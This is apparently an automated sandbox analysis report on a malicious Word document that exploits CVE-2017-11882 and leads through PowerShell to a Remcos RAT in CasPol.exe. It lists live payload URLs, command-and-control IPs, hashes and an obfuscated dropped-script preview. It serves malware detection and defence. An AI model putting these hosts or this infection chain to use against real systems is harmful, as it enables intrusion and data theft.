20 powershell.exe 12 5 17->20         started        process11 dnsIp12 34 cloudinary.map.fastly.net 151.101.65.137, 443, 49162 FASTLYUS United States 20->34 36 res.cloudinary.com 20->36 58 Installs new ROOT certificates 20->58 60 Writes to foreign memory regions 20->60 62 Injects a PE file into a foreign processes 20->62 24 CasPol.exe 3 3 20->24         started        signatures13 process14 dnsIp15 38 216.9.226.100, 3898, 49164, 49165 ATT-INTERNET4US Reserved 24->38 64 Contains functionality to bypass UAC (CMSTPLUA) 24->64 66 Detected Remcos RAT 24->66 68 Contains functionalty to change the wallpaper 24->68 70 5 other signatures 24->70 signatures16

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                atthings.doc53%ReversingLabsDocument-RTF.Exploit.CVE-2017-11882
                atthings.doc100%AviraHEUR/Rtf.Malformed

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmp100%AviraEXP/CVE-2017-11882.Gen

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://crl.pkioverheid.nl/DomOvLatestCRL.crl00%Avira URL Cloudsafe
                http://87.106.161.219/654/givemebestthingswithgreatentierymatterofgood.tiFFj0%Avira URL Cloudsafe
                http://ocsp.entrust.net030%Avira URL Cloudsafe
                http://ocsp.entrust.net0D0%Avira URL Cloudsafe
                http://87.106.161.219/654/HMZRR.txt0%Avira URL Cloudsafe
                http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl00%Avira URL Cloudsafe
                http://www.diginotar.nl/cps/pkioverheid00%Avira URL Cloudsafe
                http://87.106.161.219/654/givemebestthingswithgreatentierymatterofgood.tiFF100%Avira URL Cloudmalware

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                cloudinary.map.fastly.net
                		151.101.65.137
                		truefalse
                  		high
                  res.cloudinary.com
                  		unknown
                  		unknownfalse
                    		high

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://87.106.161.219/654/HMZRR.txttrue
                    • Avira URL Cloud: safe
                    		unknown
                    http://87.106.161.219/654/givemebestthingswithgreatentierymatterofgood.tiFFtrue
                    • Avira URL Cloud: malware
                    		unknown
                    https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgfalse
                      		high

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://geoplugin.net/json.gpCasPol.exefalse
                        		high
                        http://nuget.org/NuGet.exepowershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://crl.pkioverheid.nl/DomOvLatestCRL.crl0powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://res.cloudinary.compowershell.exe, 00000006.00000002.412425287.0000000002929000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgtpowershell.exe, 00000006.00000002.412425287.0000000002929000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://crl.entrust.net/server1.crl0powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://geoplugin.net/json.gp/Cpowershell.exe, 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                  		high
                                  http://ocsp.entrust.net03powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://contoso.com/powershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://nuget.org/nuget.exepowershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://contoso.com/Licensepowershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://87.106.161.219/654/givemebestthingswithgreatentierymatterofgood.tiFFjEQNEDT32.EXE, 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://contoso.com/Iconpowershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://go.microsoft.cpowershell.exe, 00000006.00000002.412303109.00000000007CA000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.diginotar.nl/cps/pkioverheid0powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://ocsp.entrust.net0Dpowershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000006.00000002.412425287.00000000027F1000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://secure.comodo.com/CPS0powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://crl.entrust.net/2048ca.crl0powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://github.com/dahall/taskschedulerpowershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high

                                                    World Map of Contacted IPs

                                                    • No. of IPs < 25%
                                                    • 25% < No. of IPs < 50%
                                                    • 50% < No. of IPs < 75%
                                                    • 75% < No. of IPs

                                                    Public IPs

                                                    IPDomainCountryFlagASNASN NameMalicious
                                                    87.106.161.219
                                                    		unknownGermany
                                                    		8560ONEANDONE-ASBrauerstrasse48DEtrue
                                                    151.101.65.137
                                                    		cloudinary.map.fastly.netUnited States
                                                    		54113FASTLYUSfalse
                                                    216.9.226.100
                                                    		unknownReserved
                                                    		7018ATT-INTERNET4UStrue

                                                    General Information

                                                    Joe Sandbox version:41.0.0 Charoite
                                                    Analysis ID:1570644
                                                    Start date and time:2024-12-07 15:49:42 +01:00
                                                    Joe Sandbox product:CloudBasic
                                                    Overall analysis duration:0h 7m 40s
                                                    Hypervisor based Inspection enabled:false
                                                    Report type:full
                                                    Cookbook file name:defaultwindowsofficecookbook.jbs
                                                    Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                                    Number of analysed new started processes analysed:11
                                                    Number of new started drivers analysed:0
                                                    Number of existing processes analysed:0
                                                    Number of existing drivers analysed:0
                                                    Number of injected processes analysed:0
                                                    Technologies:
                                                    • HCA enabled
                                                    • EGA enabled
                                                    • AMSI enabled
                                                    Analysis Mode:default
                                                    Analysis stop reason:Timeout
                                                    Sample name:atthings.doc
                                                    renamed because original name is a hash value
                                                    Original Sample Name:weneedtocreatebesthingswithgreatunderstandhowpowerfulthigns__________weneedbetterunderstandtogetmebackwithme________verynicethingsarearoundonmewithgreatthings.doc
                                                    Detection:MAL
                                                    Classification:mal100.rans.troj.spyw.expl.evad.winDOC@8/17@2/3
                                                    EGA Information:
                                                    • Successful, ratio: 100%
                                                    HCA Information:
                                                    • Successful, ratio: 100%
                                                    • Number of executed functions: 73
                                                    • Number of non-executed functions: 182
                                                    Cookbook Comments:
                                                    • Found application associated with file extension: .doc
                                                    • Found Word or Excel or PowerPoint or XPS Viewer
                                                    • Attach to Office via COM
                                                    • Scroll down
                                                    • Close Viewer
                                                    • Override analysis time to 79393.691504306 for current running targets taking high CPU consumption
                                                    • Override analysis time to 158787.383008612 for current running targets taking high CPU consumption

                                                    Warnings

                                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
                                                    • Excluded IPs from analysis (whitelisted): 104.17.202.1, 104.17.201.1
                                                    • Excluded domains from analysis (whitelisted): resc.cloudinary.com.cdn.cloudflare.net
                                                    • Not all processes where analyzed, report is missing behavior information
                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                    • VT rate limit hit for: atthings.doc

                                                    Simulations

                                                    Behavior and APIs

                                                    TimeTypeDescription
                                                    09:50:33API Interceptor104x Sleep call for process: EQNEDT32.EXE modified
                                                    09:50:38API Interceptor5x Sleep call for process: wscript.exe modified
                                                    09:50:39API Interceptor35x Sleep call for process: powershell.exe modified
                                                    09:51:33API Interceptor9174483x Sleep call for process: CasPol.exe modified

                                                    Joe Sandbox View / Context

                                                    IPs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    151.101.65.137https://0azeevmdi7.codedesign.app/Get hashmaliciousUnknownBrowse
                                                      LBzGgy6rnu.docGet hashmaliciousRemcosBrowse
                                                        0200011080.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                          http://carajasnutricaoanimal.comGet hashmaliciousUnknownBrowse
                                                            https://www.searchunify.comGet hashmaliciousUnknownBrowse
                                                              https://www.searchunify.comGet hashmaliciousUnknownBrowse
                                                                024d88b8-442e-50b9-5c43-7c71d1433823.emlGet hashmaliciousUnknownBrowse
                                                                  https://www.searchunify.comGet hashmaliciousUnknownBrowse
                                                                    https://u32377541.ct.sendgrid.net/ls/click?upn=gbTUAIFdI3uVBaKVDIrm-2Fv1ZSHGPk6CrjUU8HwxRv3XogX5Mvrx9Tv11VuNRbuYsH1zE-2BIBtWDMzlXTEj-2B9-2BJTYJUT036UmzKCMNFUBTmVHWoZUf0I1RAxEy8rjXD3hieFWty-2FlRfiDpGIk0JqX9IB9V5jztpnU2UQb-2B16gY3H4Vf0wR0k6IoF0Sd5AebKUD4d2WkW0zPMzEZHgQk4PilA-3D-3DuEN5_joQjRSvNxC1G7o6EQLc2eubh6d5j8MX480B8rjwEUVwIWLFJiTnn42uP24WiJdkk1wENxr6Z-2BcAnb-2BzO-2BoPsei4n3KKCnOb9-2F-2BSfzt2WRD4NciHjr9qdj4nKQIhwvjiTm1Jue7LvqYkwbzFVzOATkYWOMZmWh-2BNVftF4HxLBJoXbBuOBUAUmn6Bqy1FylGA9WHXOBxBzzpW5ZaKjOzL87uR02AFin4npksOlwKwsoHq8EQaijmSkucUIL66YcB9E9ngCKs2TqyrD6EC45xUnNc-2B8tztAXLdahj5Hwv2yUqjDKwEnSxAQq-2BkVZxzYDr-2BlH1XzRdCmvlVYLxz5Egu5y-2F16Pmnn22vIEe2gWufenNNxM3SXN0b06i9EX9e-2BxsnRYNg9SylsaxdVU0OWpsqBQGRGYCmzw3CE2B7O5a39Hk0AMDkGwpnrIIt-2F9uOR6hua6zuv9fcoQQry3m8BO-2FRBwC3Oa02ZrduYodn1TfpSII4CIlpzrpXvNsmwcMyNz4Vf4pGTr-2Bte4cyNZVxQ1bhSeOnWSFOpetOEG2MEc-2B519M27Y-2FmNr8hKutIP6TDnL9nk9lZeosJs4LxqLO7TB-2FeksEtqgoSjKUJHg3wVZKXNzM4xnYfmVzk2Aw5mxHjIC-2BkwLXnfP09KqjfTHuA2wwPnHBfEMZ9b6VF1dOdpxmFHWIdsPCsYDTo9nUvjnYCusyM1AkuYnqg6Yz5htZbWe-2Fky7wr1LY-2FW22aKZnRD8zoMSjnuZ8Zfq0rrC4BwNHpRUuVs8JU19-2FUDbIcijHTDd26VewLCqZhSLdLQfS5McOZY5bpkvICuCE4mVuUsxCu9wNzgqVAescw46u1sfcZ-2B0HVNk4LyFuw9f3LCooMwUgcuqPE-3DGet hashmaliciousHTMLPhisherBrowse
                                                                      http://bookmarkinghost.infoGet hashmaliciousUnknownBrowse
                                                                        216.9.226.100togiveme.docGet hashmaliciousRemcosBrowse
                                                                          1733313724403c020f6e88b0c933bdcc8580dbdc997912d71ff6e423ca5d8288c03cec53d3177.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                            cUxXrdUvYR.rtfGet hashmaliciousRemcosBrowse
                                                                              Amoxycillin Trihydrate Powder.docx.docGet hashmaliciousRemcosBrowse
                                                                                LBzGgy6rnu.docGet hashmaliciousRemcosBrowse

                                                                                  Domains

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                  cloudinary.map.fastly.net16547.jsGet hashmaliciousMassLogger RATBrowse
                                                                                  • 151.101.1.137
                                                                                  togiveme.docGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.129.137
                                                                                  greatnew.docGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.193.137
                                                                                  bestimylover.htaGet hashmaliciousCobalt Strike, FormBook, HTMLPhisherBrowse
                                                                                  • 151.101.129.137
                                                                                  nicpeoplesideasgivenforme.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                  • 151.101.129.137
                                                                                  #U041f#U043b#U0430#U0449#U0430#U043d#U0435.docxGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.1.137
                                                                                  nr101612_Order.wsfGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.1.137
                                                                                  https://0azeevmdi7.codedesign.app/Get hashmaliciousUnknownBrowse
                                                                                  • 151.101.129.137
                                                                                  LBzGgy6rnu.docGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.65.137
                                                                                  0200011080.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                                                  • 151.101.65.137

                                                                                  ASNs

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                  ONEANDONE-ASBrauerstrasse48DEmpsl.elfGet hashmaliciousUnknownBrowse
                                                                                  • 217.160.35.205
                                                                                  purchase order.exeGet hashmaliciousFormBookBrowse
                                                                                  • 74.208.236.156
                                                                                  MGQeZjDXc3.exeGet hashmaliciousFormBookBrowse
                                                                                  • 217.160.0.207
                                                                                  s7Okni1gfE.exeGet hashmaliciousFormBookBrowse
                                                                                  • 217.160.0.207
                                                                                  sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                  • 74.208.53.196
                                                                                  FR65 380 071 464.docxGet hashmaliciousUnknownBrowse
                                                                                  • 217.160.114.212
                                                                                  FR65 380 071 464.docxGet hashmaliciousUnknownBrowse
                                                                                  • 217.160.114.212
                                                                                  togiveme.docGet hashmaliciousRemcosBrowse
                                                                                  • 217.160.114.212
                                                                                  nicetomeetyougreatthignsgivenmeback.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                                                                  • 217.160.114.212
                                                                                  cUxXrdUvYR.rtfGet hashmaliciousRemcosBrowse
                                                                                  • 217.160.114.212
                                                                                  FASTLYUSfile.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.193.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.65.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.65.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.129.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.65.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.65.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.1.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.129.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.193.91
                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                  • 151.101.1.91
                                                                                  ATT-INTERNET4USarm5.elfGet hashmaliciousUnknownBrowse
                                                                                  • 107.214.238.161
                                                                                  arm.elfGet hashmaliciousUnknownBrowse
                                                                                  • 69.228.169.53
                                                                                  jmhgeojeri.elfGet hashmaliciousUnknownBrowse
                                                                                  • 65.64.43.40
                                                                                  i686.elfGet hashmaliciousUnknownBrowse
                                                                                  • 107.100.238.166
                                                                                  jmggnxeedy.elfGet hashmaliciousUnknownBrowse
                                                                                  • 99.24.144.184
                                                                                  pjyhwsdgkl.elfGet hashmaliciousUnknownBrowse
                                                                                  • 99.135.213.98
                                                                                  i586.elfGet hashmaliciousUnknownBrowse
                                                                                  • 13.206.223.115
                                                                                  arm5.elfGet hashmaliciousUnknownBrowse
                                                                                  • 13.178.31.193
                                                                                  jmhgeojeri.elfGet hashmaliciousUnknownBrowse
                                                                                  • 129.41.101.244
                                                                                  mips.elfGet hashmaliciousUnknownBrowse
                                                                                  • 68.95.126.174

                                                                                  JA3 Fingerprints

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                  05af1f5ca1b87cc9cc9b25185115607dPO#2207008 .docmGet hashmaliciousSnake KeyloggerBrowse
                                                                                  • 151.101.65.137
                                                                                  FR65 380 071 464.docxGet hashmaliciousUnknownBrowse
                                                                                  • 151.101.65.137
                                                                                  greatnew.docGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.65.137
                                                                                  fUHl7rElXU.xlsxGet hashmaliciousUnknownBrowse
                                                                                  • 151.101.65.137
                                                                                  Amoxycillin Trihydrate Powder.docx.docGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.65.137
                                                                                  #U041f#U043b#U0430#U0449#U0430#U043d#U0435.docxGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.65.137
                                                                                  6PAuIAUnwm.docGet hashmaliciousUnknownBrowse
                                                                                  • 151.101.65.137
                                                                                  n19xU1hV2t.docGet hashmaliciousUnknownBrowse
                                                                                  • 151.101.65.137
                                                                                  LBzGgy6rnu.docGet hashmaliciousRemcosBrowse
                                                                                  • 151.101.65.137
                                                                                  2112024_RS_GIBANJ -SWIFT.docx.docGet hashmaliciousUnknownBrowse
                                                                                  • 151.101.65.137

                                                                                  Dropped Files

                                                                                  ⊘No context

                                                                                  Created / dropped Files

                                                                                  C:\ProgramData\mic\logs.dat

                                                                                  Download File
                                                                                  Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):348
                                                                                  Entropy (8bit):7.384348481730077
                                                                                  Encrypted:false
                                                                                  SSDEEP:6:lhBuZZLBDcm305dVopl9ppqK97QaIx9eN4Jm89SCMeFuY22JGf6H+:lhC1BDv30ElboAw9m389BMYMC+
                                                                                  MD5:506246C90D986D32C21FE01B901B28CF
                                                                                  SHA1:82E2D6F87E1483A8707EA0CFDEC2CFD64D373D53
                                                                                  SHA-256:EA7FDACCD0ACE1F08F7911386382AE927F44BD8AC362FD437784B68F1D95DF3E
                                                                                  SHA-512:E14D4D68A23DA795C5A196C5DCC33669ECC20CA6A844B4447BB34C25F3C4C143C85B8DB7BA343DEFBC4D5F99CD80836542F7D64518479D2ADC5DA35E3EBC64E4
                                                                                  Malicious:false
                                                                                  Reputation:low
                                                                                  Preview:.....;..JR.`.RdxLo.F...Zd..R...:.nd.......^L<5C.#Y.....z.y7f&.#.a...~..D.......`.....[.A'.#.a..4<.....$..S.vAS+...AR2[.v....c..;xV.K~.!.X.....Ep%..7.".J6B....7.,/.S.A..R.....n.A....b.1.{...%-.4x..8.G..V.].$/.A.;~.IE.uq..PT..l.....#.r..Hm%\A.shO.)1>...D..B q..GO...-.A..c.S...&..3.x.A&).............;...I....my.lAi.....P.E^

                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                  Download File
                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):4760
                                                                                  Entropy (8bit):4.834060479684549
                                                                                  Encrypted:false
                                                                                  SSDEEP:96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
                                                                                  MD5:838C1F472806CF4BA2A9EC49C27C2847
                                                                                  SHA1:D1C63579585C4740956B099697C74AD3E7C89751
                                                                                  SHA-256:40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
                                                                                  SHA-512:E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
                                                                                  Malicious:false
                                                                                  Reputation:moderate, very likely benign file
                                                                                  Preview:PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                  Download File
                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):64
                                                                                  Entropy (8bit):0.34726597513537405
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:Nlll:Nll
                                                                                  MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                  SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                  SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                  SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                  Malicious:false
                                                                                  Reputation:high, very likely benign file
                                                                                  Preview:@...e...........................................................

                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\givemebestthingswithgreatentierymatterofgood[1].tiff

                                                                                  Download File
                                                                                  Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                  File Type:Unicode text, UTF-16, little-endian text, with very long lines (3197), with CRLF line terminators
                                                                                  Category:dropped
                                                                                  Size (bytes):154006
                                                                                  Entropy (8bit):3.7911379118066764
                                                                                  Encrypted:false
                                                                                  SSDEEP:3072:8fFFtrd9ijwQ3pqcKvYE2rgfFFtrd9ijwQ3pqcKvYE2DfFFtrd9ijwQ3pqcKvYEM:W3rd9jQ9KAhrK3rd9jQ9KAhZ3rd9jQ9D
                                                                                  MD5:72C8CE715CBC86B3AB2438D6711EEA0E
                                                                                  SHA1:83261F78A867AB6CCECF1FABAC21D7352EC8971F
                                                                                  SHA-256:BB49F7EC17AD75FA4DC49B42B33D50E72C6B9B4FBE1A4015AF32B1736BA02E74
                                                                                  SHA-512:176160AA3AA5101082D69318CFD095EB963C2742CC8F3EFA76E3024E00B64218953FE38441D7F4763EAEFCFE4851F3591DCD063E3E86B6DACDAD89BFD170E0EA
                                                                                  Malicious:false
                                                                                  Preview:...... . . . .....e.L.c.x.x.c.p.L.B.o.G.N.K.o.G. .=. .".W.K.e.K.S.N.z.e.c.H.Z.q.B.L.h.".....W.K.t.o.z.Z.h.i.l.N.o.L.i.f.p. .=. .".q.l.i.Z.O.O.m.a.b.t.A.S.T.l.k.".....c.i.f.I.b.p.P.s.N.h.G.N.G.c.p. .=. .".Z.d.l.R.A.B.S.P.Z.P.h.P.k.h.S.".........W.z.m.o.h.L.k.T.A.P.G.C.k.W.P. .=. .".P.N.c.A.Z.e.U.C.c.L.L.P.G.i.W.".....B.L.A.m.L.L.i.N.x.N.N.e.i.W.h. .=. .".t.P.U.u.L.K.q.t.l.x.p.Z.k.L.t.".....S.e.W.g.O.G.l.G.W.k.W.K.K.L.o. .=. .".W.T.R.J.L.W.f.P.Q.O.L.c.m.q.d.".....l.f.K.L.L.t.S.p.G.z.q.Z.G.O.K. .=. .".c.B.N.b.n.o.v.I.h.P.p.P.g.A.i.".....C.K.K.W.o.Z.W.z.Z.o.n.x.x.r.P. .=. .".c.t.W.Z.e.j.R.i.W.K.g.K.L.b.i.".....p.W.U.z.P.K.d.L.G.L.H.C.h.c.z. .=. .".B.G.p.N.z.z.c.G.K.d.N.t.Z.p.p.".....b.W.N.c.N.L.Z.m.c.L.W.h.z.z.l. .=. .".L.d.W.L.o.O.T.d.x.P.z.K.Q.o.A.".....i.W.q.p.z.i.W.k.L.U.Z.e.L.W.f. .=. .".W.p.k.z.L.L.q.k.q.a.z.b.x.i.l.".....i.A.r.o.L.i.m.L.K.B.L.G.Z.L.d. .=. .".c.h.m.L.d.f.P.W.Q.f.L.L.C.l.L.".....d.t.e.z.k.N.q.A.W.L.K.W.G.G.j. .=. .".W.U.W.b.P.H.t.W.c.T.L.v.G.R.o.".....N.T.Z.Q.d.z.Z.Z.

                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmp

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                                  Category:dropped
                                                                                  Size (bytes):8704
                                                                                  Entropy (8bit):5.383709719383146
                                                                                  Encrypted:false
                                                                                  SSDEEP:96:gQNGT7ees0CO3DzXd7MV/9dkZg5fbV7ees4O3DzXd7MV/9dkZg5:gQsmq3Dbd72/r5xmr3Dbd72/r5
                                                                                  MD5:A5CA19CC852D769BBC5304AE3AFD493A
                                                                                  SHA1:22DA67AF596CFE95C21BFA46D02A8C9E753AA2AB
                                                                                  SHA-256:86AC9CA38D01C6848D95AA1006C80F6FA01C52A9C576DB7985350586EB508C56
                                                                                  SHA-512:921AB8345FCD32AC1FC4D5D876AB689204EF93B15359E8ABFFDB1034FE87D9309A6E62CB54A1898E4C4CA5BFC332D4A3B6ECB1BE3E5E5E9CFA7B03CD5446D547
                                                                                  Malicious:true
                                                                                  Antivirus:
                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                  Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A8C6E74C-C67D-4E9F-83CC-D8033D094614}.tmp

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):1024
                                                                                  Entropy (8bit):0.05390218305374581
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:ol3lYdn:4Wn
                                                                                  MD5:5D4D94EE7E06BBB0AF9584119797B23A
                                                                                  SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                                                                                  SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                                                                                  SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                                                                                  Malicious:false
                                                                                  Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E64F2A84-2838-4478-8E5F-D382215BD7E2}.tmp

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):11776
                                                                                  Entropy (8bit):3.5515151609406583
                                                                                  Encrypted:false
                                                                                  SSDEEP:192:+sjZ7ozKwdKmDkPEkbdBbf6g5FtWW6WUz/1ATZlQmkaue8nw4upYJWkjut4PqeP9:+sl+DDkNRBbJ5HWBhATZli68n5Ykyt4n
                                                                                  MD5:ED47BEAA95A0796E205A07D94E8CAB67
                                                                                  SHA1:1CBB42F4469F1FF3F8E9006294A1D390DE9C76BB
                                                                                  SHA-256:3897F2278B47DFCA5CF2BD6FD704096A142AF3D986F3400F79046448C59CACD5
